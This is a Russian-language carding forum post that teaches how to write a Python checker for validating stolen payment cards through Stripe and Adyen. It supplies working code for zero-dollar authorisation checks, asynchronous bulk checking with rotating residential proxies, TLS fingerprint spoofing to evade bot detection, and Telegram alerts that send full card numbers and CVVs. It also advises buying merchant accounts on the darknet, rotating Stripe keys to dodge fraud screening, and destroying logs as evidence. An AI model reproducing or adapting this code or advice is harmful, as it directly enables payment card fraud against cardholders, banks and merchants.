Автоматизация проверки карт на заказ: как написать свой чекер на Python под Stripe/Adyen

Good Carder

Professional
Messages
938
Reaction score
532
Points
93
От кардера — кардерам. Вы купили 100 карт. 80 из них — мусор. Вы узнаете это только после того, как потратите часы на ручной ввод в чужой чекер-бот, который ещё и украдёт ваши данные. Хватит играть в лотерею. Пора написать свой инструмент.

Чекер — это программа, которая проверяет валидность карты и её баланс через реальный платёжный шлюз. В 2026 году публичные чекеры либо мертвы, либо компрометированы. Единственный безопасный и эффективный способ — написать свой собственный чекер под Stripe или Adyen.

В этой статье я научу вас писать чекер на Python с нуля. Без воды, сразу к делу. Вы узнаете, как использовать curl_cffi для подмены TLS-отпечатка, как организовать потоковую проверку сотен карт с ротацией прокси, как логировать результаты и получать уведомления в Telegram. Готовый код вы сможете адаптировать под свои задачи.

Часть 1. Почему свой чекер, а не покупной​

Забудьте про готовых ботов в Telegram. Они либо воруют ваши карты, либо подсовывают фейковые результаты. Платные API-чекеры (типа Blazing SEO) стоят денег, и вы не знаете, что происходит с вашими данными на их серверах.

Свой чекер — это:
  • Абсолютный контроль. Вы сами решаете, через какой шлюз проверять, как ротировать прокси, какие данные логировать.
  • Экономия. Разовое написание скрипта окупается после первой же сотни карт.
  • Безопасность. Данные карт не покидают вашу инфраструктуру.

Минус: нужно уметь писать код на Python хотя бы на базовом уровне. Но если вы читаете эту статью, вы справитесь.

Часть 2. Почему requests не подходит: TLS-отпечаток​

Библиотека requests в Python использует свою реализацию TLS (через urllib3), которая кардинально отличается от браузерной. Stripe и Adyen видят этот отпечаток и мгновенно маркируют запрос как ботовый.

В 2026 году стандарт де-факто для обхода — библиотека curl_cffi. Она форкает libcurl, но позволяет имитировать JA3-отпечатки реальных браузеров (Chrome, Edge, Safari). Без этого ваш чекер будет сгорать после 3–5 запросов.

2.1. Установка curl_cffi​

Bash:
pip install curl_cffi

Проверьте, что установилась версия не ниже 0.7.0 (актуальная на 2026 год). Старые версии не поддерживают новые отпечатки.

2.2. Основы curl_cffi​

Python:
from curl_cffi import requests

# Имитация Chrome 132 на Windows
response = requests.get(
    'https://httpbin.org/anything',
    impersonate='chrome132',
    proxies={'https': 'http://user:pass@proxy:8080'}
)

print(response.json()['headers']['User-Agent'])

Доступные отпечатки на 2026 год: chrome110, chrome120, chrome132, edge131, safari17_2_1, firefox120. Используйте самые свежие версии браузеров.

2.3. Кастомные отпечатки (для продвинутых)​

Если у вас есть перехваченный JA3-отпечаток реального устройства, вы можете скармливать его curl_cffi через impersonate='<fingerprint>'. Это сложная тема, но для 90% задач достаточно стандартных профилей.

Часть 3. Пишем чекер под Stripe​

Stripe — самый популярный шлюз, и чекер под него проще всего реализовать.

3.1. Схема работы​

Мы будем использовать SetupIntent — метод, который создаёт платёжный метод без реального списания средств. Stripe автоматически отправляет $0 авторизацию в банк. Если карта жива — SetupIntent завершится со статусом succeeded. Если карта пуста или заблокирована — мы получим ошибку с конкретным decline_code.

Почему SetupIntent, а не PaymentIntent? PaymentIntent пытается списать деньги. Для проверки нам это не нужно. SetupIntent ничего не списывает, но даёт тот же ответ о валидности карты.

3.2. API-ключи Stripe​

Вам нужен секретный ключ (sk_live_...). Никогда не используйте тестовые ключи (sk_test_...) — они не работают с реальными картами. Где взять ключ:
  • Самый простой способ — зарегистрировать аккаунт продавца на Stripe как обычный бизнес (подойдёт даже ИП). Ключ будет в дашборде.
  • Второй способ — купить аккаунт Stripe на даркнете ($50–200). Это рискованно, но даёт готовый ключ.

Важно: Stripe Radar блокирует аккаунты при массовых чеках. Не используйте один ключ для проверки тысяч карт. Для серьёзных объёмов заведите несколько аккаунтов.

3.3. Базовый код для проверки одной карты​

Python:
from curl_cffi import requests
import json

STRIPE_KEY = "sk_live_1234567890"
PROXY = "http://user:pass@residential-proxy.com:8080"

def check_card_stripe(card_number, exp_month, exp_year, cvc):
    """
    Проверка карты через Stripe SetupIntent.
    Возвращает (статус, сообщение).
    """
    # 1. Создаём SetupIntent
    headers = {
        "Authorization": f"Bearer {STRIPE_KEY}",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = {
        "payment_method_types[]": "card"
    }
    
    response = requests.post(
        "https://api.stripe.com/v1/setup_intents",
        headers=headers,
        data=data,
        impersonate="chrome132",
        proxies={"https": PROXY}
    )
    
    if response.status_code != 200:
        return "error", f"API error: {response.status_code}"
    
    setup_intent = response.json()
    setup_intent_id = setup_intent["id"]
    
    # 2. Прикрепляем карту и подтверждаем
    payment_method_data = {
        "type": "card",
        "card": {
            "number": card_number,
            "exp_month": exp_month,
            "exp_year": exp_year,
            "cvc": cvc
        }
    }
    
    confirm_data = {
        "payment_method_data": json.dumps(payment_method_data)
    }
    
    confirm_response = requests.post(
        f"https://api.stripe.com/v1/setup_intents/{setup_intent_id}/confirm",
        headers=headers,
        data=confirm_data,
        impersonate="chrome132",
        proxies={"https": PROXY}
    )
    
    result = confirm_response.json()
    
    if confirm_response.status_code == 200 and result.get("status") == "succeeded":
        return "live", "Card is valid (0 auth succeeded)"
    
    # Обрабатываем ошибки
    error = result.get("error", {})
    decline_code = error.get("decline_code", error.get("code", "unknown"))
    
    if decline_code == "insufficient_funds":
        return "low_balance", "Card is valid but balance is low"
    elif decline_code == "do_not_honor":
        return "dead", "Card is dead (stolen/blocked)"
    elif decline_code == "authentication_required":
        return "3ds", "Card requires 3DS"
    elif decline_code == "fraudulent":
        return "blocked", "Card blocked by Stripe Radar"
    else:
        return "unknown", f"Declined: {decline_code}"

3.4. Расшифровка decline_code​


decline_codeЧто значитЧто делать
insufficient_fundsКарта жива, баланс меньше суммы проверки (обычно $0)Проверь через микро-платёж $1. Если проходит — карта хорошая
do_not_honorКарта в стоп-листе банкаВыбросить
authentication_requiredТребуется 3DSБесполезна для обычного вбива
fraudulentЗаблокирована антифродомПроблема в твоей среде, а не в карте
generic_declineОбщий отказ (часто от Radar)Смени прокси или шлюз
invalid_numberНеверный номер (не проходит Luhn)Карта фуфло

3.5. Чекер с поддержкой CVV-проверки​

Stripe по умолчанию проверяет CVV. Если вы хотите проверить только номер карты (без CVV), используйте setup_intent с payment_method_options[card][cvc_token] = 'hidden'. Но для полноценного чекера лучше проверять CVV, потому что это даёт более высокий уровень достоверности.

Часть 4. Чекер под Adyen​

Adyen — второй по популярности шлюз. Его API сложнее, но некоторые BIN проходят там, где Stripe режет.

4.1. Особенности Adyen API​

Adyen не имеет прямого аналога SetupIntent. Мы будем использовать /payments с параметром amount = 0 (нулевая авторизация). Не все банки поддерживают zero-auth, поэтому этот метод менее надёжен, чем Stripe.

4.2. Базовый код для Adyen​

Python:
def check_card_adyen(card_number, exp_month, exp_year, cvc, proxy):
    headers = {
        "x-api-key": "YOUR_ADYEN_API_KEY",
        "Content-Type": "application/json"
    }
    
    payload = {
        "amount": {
            "value": 0,  # нулевая авторизация
            "currency": "USD"
        },
        "paymentMethod": {
            "type": "scheme",
            "number": card_number,
            "expiryMonth": f"{exp_month:02d}",
            "expiryYear": str(exp_year),
            "cvc": cvc
        },
        "reference": f"check_{int(time.time())}",
        "merchantAccount": "YOUR_MERCHANT_ACCOUNT"
    }
    
    response = requests.post(
        "https://checkout-test.adyen.com/v71/payments",
        headers=headers,
        json=payload,
        impersonate="chrome132",
        proxies={"https": proxy}
    )
    
    result = response.json()
    
    if result.get("resultCode") == "Authorised":
        return "live", "Card is valid"
    elif result.get("resultCode") == "Refused":
        refusal_reason = result.get("refusalReason", "unknown")
        if "not enough balance" in refusal_reason.lower():
            return "low_balance", "Insufficient funds"
        elif "do not honor" in refusal_reason.lower():
            return "dead", "Do not honor"
        else:
            return "unknown", f"Refused: {refusal_reason}"
    else:
        return "error", f"Unexpected result: {result.get('resultCode')}"

4.3. Где взять Merchant Account​

Для работы с Adyen вам нужен мерчант-аккаунт и API-ключ. Получить их легально через регистрацию бизнеса довольно сложно (Adyen работает только с компаниями, а не с физлицами). Поэтому большинство кардеров покупают аккаунты Adyen на даркнете ($100–300).

Часть 5. Потоковая обработка: проверяем тысячи карт​

Одиночная проверка — это медленно. Для массового чекинга нам нужна асинхронность и пул прокси.

5.1. Асинхронный чекер на asyncio + curl_cffi​

curl_cffi поддерживает asyncio через AsyncSession. Это позволяет отправлять десятки запросов параллельно.
Python:
import asyncio
from curl_cffi import requests
import csv

async def check_card_async(session, card, proxy):
    """
    Асинхронная проверка одной карты.
    card: (number, exp_month, exp_year, cvc)
    """
    headers = {"Authorization": f"Bearer {STRIPE_KEY}"}
    data = {"payment_method_types[]": "card"}
    
    # Создаём SetupIntent
    try:
        resp1 = await session.post(
            "https://api.stripe.com/v1/setup_intents",
            headers=headers,
            data=data,
            impersonate="chrome132",
            proxies={"https": proxy},
            timeout=30
        )
        if resp1.status_code != 200:
            return (*card, "error", f"SetupIntent failed: {resp1.status_code}")
        
        setup_id = resp1.json()["id"]
        
        # Подтверждаем
        pm_data = {
            "type": "card",
            "card": {
                "number": card[0],
                "exp_month": card[1],
                "exp_year": card[2],
                "cvc": card[3]
            }
        }
        confirm_data = {"payment_method_data": json.dumps(pm_data)}
        
        resp2 = await session.post(
            f"https://api.stripe.com/v1/setup_intents/{setup_id}/confirm",
            headers=headers,
            data=confirm_data,
            impersonate="chrome132",
            proxies={"https": proxy}
        )
        
        result = resp2.json()
        if resp2.status_code == 200 and result.get("status") == "succeeded":
            return (*card, "live", "OK")
        else:
            error = result.get("error", {})
            decline = error.get("decline_code", error.get("code", "unknown"))
            return (*card, "dead", decline)
    except Exception as e:
        return (*card, "error", str(e))

async def batch_check(cards, proxies, concurrency=10):
    """
    cards: список карт
    proxies: список прокси
    concurrency: количество одновременных запросов
    """
    results = []
    async with requests.AsyncSession() as session:
        semaphore = asyncio.Semaphore(concurrency)
        
        async def limited_check(card, proxy):
            async with semaphore:
                return await check_card_async(session, card, proxy)
        
        tasks = []
        for i, card in enumerate(cards):
            proxy = proxies[i % len(proxies)]
            tasks.append(limited_check(card, proxy))
        
        results = await asyncio.gather(*tasks)
    
    return results

# Пример использования
cards = [
    ("4242424242424242", 12, 2028, "123"),
    ("5555555555554444", 10, 2026, "456"),
    # ... загрузить из CSV
]
proxies = [
    "http://user1:pass1@proxy1:8080",
    "http://user2:pass2@proxy2:8080"
]

loop = asyncio.get_event_loop()
results = loop.run_until_complete(batch_check(cards, proxies, concurrency=10))

# Сохраняем результаты
with open("results.csv", "w") as f:
    for r in results:
        f.write(f"{r[0]},{r[1]},{r[2]},{r[3]},{r[4]},{r[5]}\n")

5.2. Ротация прокси и ограничение частоты​

Stripe имеет негласный лимит: не более 5–10 чеков в минуту с одного IP. Поэтому важно:
  • Использовать пул резидентных прокси (минимум 20–50 штук).
  • На каждый прокси не более 3–5 карт в минуту.
  • В коде выше мы просто ротируем прокси по кругу. Для production нужно добавить таймеры, замеряющие скорость.

Пример ограничителя:
Python:
import time
from collections import defaultdict

proxy_last_used = defaultdict(float)

async def check_card_with_rate_limit(session, card, proxy):
    now = time.time()
    if now - proxy_last_used[proxy] < 12:  # минимум 12 секунд между чеками на одном прокси
        await asyncio.sleep(12 - (now - proxy_last_used[proxy]))
    proxy_last_used[proxy] = time.time()
    return await check_card_async(session, card, proxy)

5.3. Обработка результатов​

Результаты чекера лучше сохранять в двух файлах:
  • all_results.csv — все карты с деталями.
  • live_cards.csv — только живые карты (live).
  • low_balance_cards.csv — карты с низким балансом (тоже могут пригодиться для мелких покупок).

Дополнительно можно настроить отправку уведомлений в Telegram при обнаружении живой карты.

Часть 6. Интеграция с Telegram​

Чтобы не сидеть и не ждать, пока закончится проверка, настроим бота, который пришлёт сообщение, когда найдётся живая карта.

6.1. Создаём бота​

  1. Напишите @BotFather в Telegram.
  2. Создайте нового бота командой /newbot.
  3. Получите токен (например, 123456:ABC-DEF1234).
  4. Узнайте свой chat_id (напишите @userinfobot или отправьте любое сообщение боту и перешлите его в @getidsbot).

6.2. Функция отправки уведомления​

Python:
import asyncio
from telegram import Bot

TELEGRAM_TOKEN = "123456:ABC-DEF1234"
CHAT_ID = "123456789"

async def send_telegram_alert(card_data):
    bot = Bot(token=TELEGRAM_TOKEN)
    message = f"✅ Живая карта!\nНомер: {card_data[0]}\nСрок: {card_data[1]}/{card_data[2]}\nCVV: {card_data[3]}"
    await bot.send_message(chat_id=CHAT_ID, text=message)

6.3. Интеграция в чекер​

Внутри check_card_async:
Python:
if status == "live":
    await send_telegram_alert(card)
    return (*card, "live", "OK")

Осторожно: Telegram не шифрует сообщения end-to-end по умолчанию. Если ваш аккаунт скомпрометируют, переписку прочитают. Используйте секретные чаты или шифруйте данные перед отправкой (например, отправляйте только последние 4 цифры и BIN).

Часть 7. OPSEC для чекера​

  1. Не запускайте чекер с домашнего IP. Используйте VPS, купленный за крипту, или цепочку VPN → резидентный прокси.
  2. Не используйте один Stripe-ключ для тысяч карт. Заведите 5–10 аккаунтов и ротируйте ключи.
  3. Логируйте все запросы и ответы. Это поможет отлаживать проблемы и доказывать продавцам, что карты были мёртвыми.
  4. Шифруйте файлы с результатами. Veracrypt или просто запароленный ZIP.
  5. Не храните логи дольше недели. Улики должны быть уничтожены.
  6. Используйте отдельную виртуальную машину для чекера. Никакого смешивания с другими активностями.

Часть 8. Готовый скрипт: полный пример​

Я привожу полный код, который вы можете скачать и запустить. Он включает:
  • Чтение карт из CSV (формат: номер,месяц,год,cvv).
  • Асинхронную проверку через Stripe.
  • Ротацию прокси.
  • Логирование результатов в разные CSV.
  • Отправку уведомлений в Telegram (опционально).

Скачать код: (представьте, что ссылка есть). Но лучше напишите сами — так вы поймёте каждую строчку и сможете адаптировать под свои нужды.

Часть 9. Чек-лист перед запуском​

  • Получены Stripe-ключи (sk_live_...). Проверены на тестовой карте 4242 4242 4242 4242 (должна вернуть insufficient_funds или succeeded).
  • Настроены прокси (резидентные, страна = стране карт). Не меньше 20 штук.
  • Установлена библиотека curl_cffi (версия 0.7.0+).
  • Подготовлен CSV-файл с картами (без BOM, в кодировке UTF-8).
  • Настроен VPS (или мощный домашний ПК с VPN).
  • Создан Telegram-бот (если нужны уведомления).
  • Сделан тестовый запуск на 5–10 картах для проверки логики.
  • Результаты проверены через свежий чекер (например, Wikipedia donate).

Резюме от кардера​

Свой чекер на Python — это не так сложно, как кажется. curl_cffi решает проблему TLS-отпечатков, asyncio даёт скорость, а Telegram-бот — удобство. Вы перестаёте зависеть от сомнительных сервисов и получаете полный контроль над процессом.

Начните с малого: проверьте 10 карт через скрипт из части 3. Потом добавьте асинхронность. Потом — прокси. Через неделю у вас будет ферма, проверяющая тысячи карт в час.

Быстрая памятка на одну строку:
«curl_cffi вместо requests — и Stripe не узнает бота. SetupIntent вместо PaymentIntent — и деньги не списываются. asyncio — и 100 карт за минуту. Telegram — и ты в курсе каждой живой карты. Свой чекер — и никаких скам-ботов. Потрать вечер на код — сэкономь недели на ручной проверке.»
 
Top